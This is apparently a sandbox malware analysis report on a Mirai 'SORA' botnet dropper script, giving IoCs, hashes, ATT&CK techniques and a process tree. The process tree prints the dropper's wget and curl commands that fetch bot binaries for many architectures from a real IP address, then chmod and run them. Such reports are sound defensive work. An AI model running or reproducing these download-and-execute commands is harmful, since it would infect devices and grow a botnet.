mirai | 03f69bcb2f4e202c7372cf932d65338255201439fe776cd8ac8a9632065555bf

Analysis

max time kernel
150s
max time network
156s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03-11-2024 14:37

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General

Target

aws.sh
Size

2KB
MD5

b9ea41c0744886c9aa436d2560a56f9d
SHA1

eab007c33f66384f237c3385f56ad11522778fcd
SHA256

03f69bcb2f4e202c7372cf932d65338255201439fe776cd8ac8a9632065555bf
SHA512

767eafb58db47b959fa25019f2ecb7bc93d983e84fee08303918b36b9c0034b2675dd6751b66dcf990a80018ae48c25c5789502b385e668cc2b6f96d2dd41889

Score

10^/10

mirai sora botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (34714) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
752	chmod
786	chmod
806	chmod
826	chmod
836	chmod
849	chmod
877	chmod
745	chmod
763	chmod
769	chmod
842	chmod
861	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/robben	746	robben
/tmp/robben	753	robben
/tmp/robben	764	robben
/tmp/robben	770	robben
/tmp/robben	787	robben
/tmp/robben	807	robben
/tmp/robben	827	robben
/tmp/robben	837	robben
/tmp/robben	843	robben
/tmp/robben	850	robben
/tmp/robben	863	robben
/tmp/robben	878	robben

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-4.dat	upx
behavioral3/files/fstream-5.dat	upx
behavioral3/files/fstream-7.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	pdpmgk1kica034ncie	753	robben

Reads runtime system information 53 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/873/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/795/exe	robben
File opened for reading	/proc/834/exe	robben
File opened for reading	/proc/508/exe	robben
File opened for reading	/proc/814/exe	robben
File opened for reading	/proc/824/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/827/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/719/exe	robben
File opened for reading	/proc/742/exe	robben
File opened for reading	/proc/761/exe	robben
File opened for reading	/proc/480/exe	robben
File opened for reading	/proc/510/exe	robben
File opened for reading	/proc/840/exe	robben
File opened for reading	/proc/859/exe	robben
File opened for reading	/proc/711/exe	robben
File opened for reading	/proc/819/exe	robben
File opened for reading	/proc/837/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/870/exe	robben
File opened for reading	/proc/710/exe	robben
File opened for reading	/proc/800/exe	robben
File opened for reading	/proc/846/exe	robben
File opened for reading	/proc/853/exe	robben
File opened for reading	/proc/866/exe	robben
File opened for reading	/proc/716/exe	robben
File opened for reading	/proc/789/exe	robben
File opened for reading	/proc/831/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/791/exe	robben
File opened for reading	/proc/845/exe	robben
File opened for reading	/proc/473/exe	robben
File opened for reading	/proc/714/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/855/exe	robben
File opened for reading	/proc/754/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/852/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/757/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/847/exe	robben
File opened for reading	/proc/691/exe	robben
File opened for reading	/proc/706/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/408/exe	robben
File opened for reading	/proc/815/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/868/exe	robben
File opened for reading	/proc/712/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
750	curl
751	cat
748	wget

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.arm7	wget
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/robben	aws.sh
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.arm5	curl

/tmp/aws.sh
/tmp/aws.sh
1⤵
- Writes file to tmp directory
PID:714
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/cat
  cat sora.x86
  2⤵
  PID:744
- /bin/chmod
  chmod +x aws.sh robben sora.x86
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:746
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:751
- /bin/chmod
  chmod +x aws.sh robben sora.mips sora.x86
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:753
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:760
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:762
- /bin/chmod
  chmod +x aws.sh robben sora.mips sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:764
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.i468
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/cat
  cat sora.i468
  2⤵
  PID:768
- /bin/chmod
  chmod +x aws.sh robben sora.i468 sora.mips sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:770
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:771
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/cat
  cat sora.i686
  2⤵
  PID:784
- /bin/chmod
  chmod +x aws.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:787
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:789
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:804
- /bin/chmod
  chmod +x aws.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:807
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm4
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/cat
  cat sora.arm4
  2⤵
  PID:825
- /bin/chmod
  chmod +x aws.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:827
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:829
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/cat
  cat sora.arm5
  2⤵
  PID:835
- /bin/chmod
  chmod +x aws.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:837
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:839
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/cat
  cat sora.arm6
  2⤵
  PID:841
- /bin/chmod
  chmod +x aws.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:843
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm7
  2⤵
  - Writes file to tmp directory
  PID:846
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/cat
  cat sora.arm7
  2⤵
  PID:848
- /bin/chmod
  chmod +x aws.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:850
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:852
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:853
- /bin/cat
  cat sora.ppc
  2⤵
  PID:860
- /bin/chmod
  chmod +x aws.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:863
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.ppc440fp
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:876
- /bin/chmod
  chmod +x aws.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/robben
  ./robben aws.exploit
  2⤵
  - Executes dropped EXE
  PID:878
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.m68k
  2⤵
  PID:881

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/robben

Filesize
28KB

MD5
fa5457b7546c1b7060c30bde3f8649ca

SHA1
7c75f6463c36eaebc4719f47d8047e5195a85057

SHA256
d3f2f30efffec0f49e28199c60b2819a3e831ae0ba920abd2c5ece5e4bfb3adf

SHA512
f012d61a479015af70447b1c3bd2a48c2977691f9a180f4f5c3340b034c65d69782299cb8459e92e3a18dcadfa3078c8b1c613593170f9fa95dd53ba36050c21

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/tmp/robben

Filesize
28KB

MD5
ec332610b0ca5b634c097ed14f42eedc

SHA1
abcbd111601f4165c400e9db36fbf20339e37170

SHA256
2bfdc588e26d5f6ac54ca3330ced3ab2bfc9bafb98cdd91fd017180dd5848b3a

SHA512
f41f54e2aca4a5dfa3d7bcbad45963aa943fa3b6536c34f7c92c7c79894f1009ef5ab13cfed39b74ffc614791b77497689bcbe71edfefecb20497d873c92d1b0

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/tmp/robben

Filesize
212B

MD5
83ab6cd9a67528bbc6f4f360cb7f8d83

SHA1
07e8f17209e0569aab39f062568ff0090d9b20d4

SHA256
3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

SHA512
171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

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/tmp/robben

Filesize
28KB

MD5
d356657b6ea7a715b60217a914eb6ca8

SHA1
b276b1a91895c3025e9f9d64227205dac79c8ef6

SHA256
b0758e5e7fde30404ec43dd5fba21253735464062e8a10f0876193d18194fe22

SHA512
3b0ab5d1282c9d2ea18ed0fc78aeabafde6c16fa094d53d39a67d3316482da0cffa444dd5dc14aeefb547ce2f789480caa5bb514cb4a26787c7441ba8862e262

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/tmp/robben

Filesize
51KB

MD5
b8cb140290d21f49dd081f126a75b203

SHA1
a9735bd0e2dc30f9bf9f41f01f09ef34be2be2cc

SHA256
bce1fe24bc80d79c339fa6ef973ac73338716051739b0c26a72c31f33a5e6029

SHA512
003309e15087befbc4bde345a9d02b0974f4cbe835275fce367ba000867f1d515cc7c41298a5c8c9321525039fbcc5e29206f28448607c9c3b5325333faa706e

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/tmp/sora.x86

Filesize
27KB

MD5
00eff503439515d9b12b9c068367cb80

SHA1
82d68f2b1ffca8558458c1b858599542a67d8bbf

SHA256
2962b987b00b166299f9a73f7ccb8dc02b4208266465b41f6b1c9c28277d7276

SHA512
3800bc5a8f3983fc50813c49c906203af6528ff3eb97b4818a8632085562c25eab1c691edb5dcdc96c8d2c3f25784a41897ec8a52c042d391899a310224d50f5

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